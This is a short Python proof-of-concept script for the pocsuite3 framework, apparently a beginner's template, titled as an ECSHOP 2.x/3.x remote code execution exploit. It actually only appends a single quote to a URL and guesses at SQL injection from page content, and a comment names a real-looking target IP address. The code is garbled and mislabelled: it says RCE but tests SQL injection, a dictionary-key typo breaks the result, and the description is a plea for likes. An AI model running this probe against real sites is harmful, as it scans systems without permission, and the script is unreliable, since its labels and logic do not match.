#! /usr/bin/env python3
# _*_ conding:utf-8 _*_

import sys
sys.path.append('/Users/c0ny100/hacker_script/pocsuite3')
from pocsuite3.api import Output, POCBase, requests, register_poc

class DemoPOC(POCBase):
    vulID = '97343'  # ssvid
    version = '3.0'
    author = ['seebug']
    vulDate = '2018-06-14'
    createDate = '2018-06-14'
    updateDate = '2018-06-14'
    references = ['https://github.com/c0ny100'] # 漏洞地址来源
    name = 'Ecshop 2.x/3.x Remote Code Execution'# POC名称
    appPowerLink = ''   # 漏洞厂商的主页地址
    appName = 'ECSHOP'  # 漏洞应用名称
    appVersion = '2.x,3.x'
    vulType = 'SQL Injection'   # 漏洞类型
    desc = '''
    大家喜欢的一定要通过点赞、关注、转发，让我知道哦～
    ''' # 漏洞简要描述
    samples = []    # 样例测试 使用POC测试成功的网站
    install_requires = ['']

    def _verify(self):
        result = {}
        path = '/?id=1'
        url = self.url + path
        # url = 'http://59.63.200.79:8003/?id=1'
        payload = '\''

        # 发送一个get请求
        # 使用的是requests库里的get方法
        try:
            resq = requests.get(url + payload) 
            # 用 '<div class="spacer">' 做判断
            # 使用的是requests库里的text方法
            if resq and '<div class="spacer">' not in resq.text:
                result['VerifuInfo'] = {}
                result['VerifyInfo']['URL'] = url
                result['VerifyInfo']['Name'] = payload
        except Exception as e:
            pass
        return self.parse_output(result)

    def _attack(self):
        return self._verify()

    def parse_output(self, result):
            output = Output(self)
            if result:
                output.success(result)
            else:
                output.fail('target is not vulnerable')
            return output

register_poc(DemoPOC)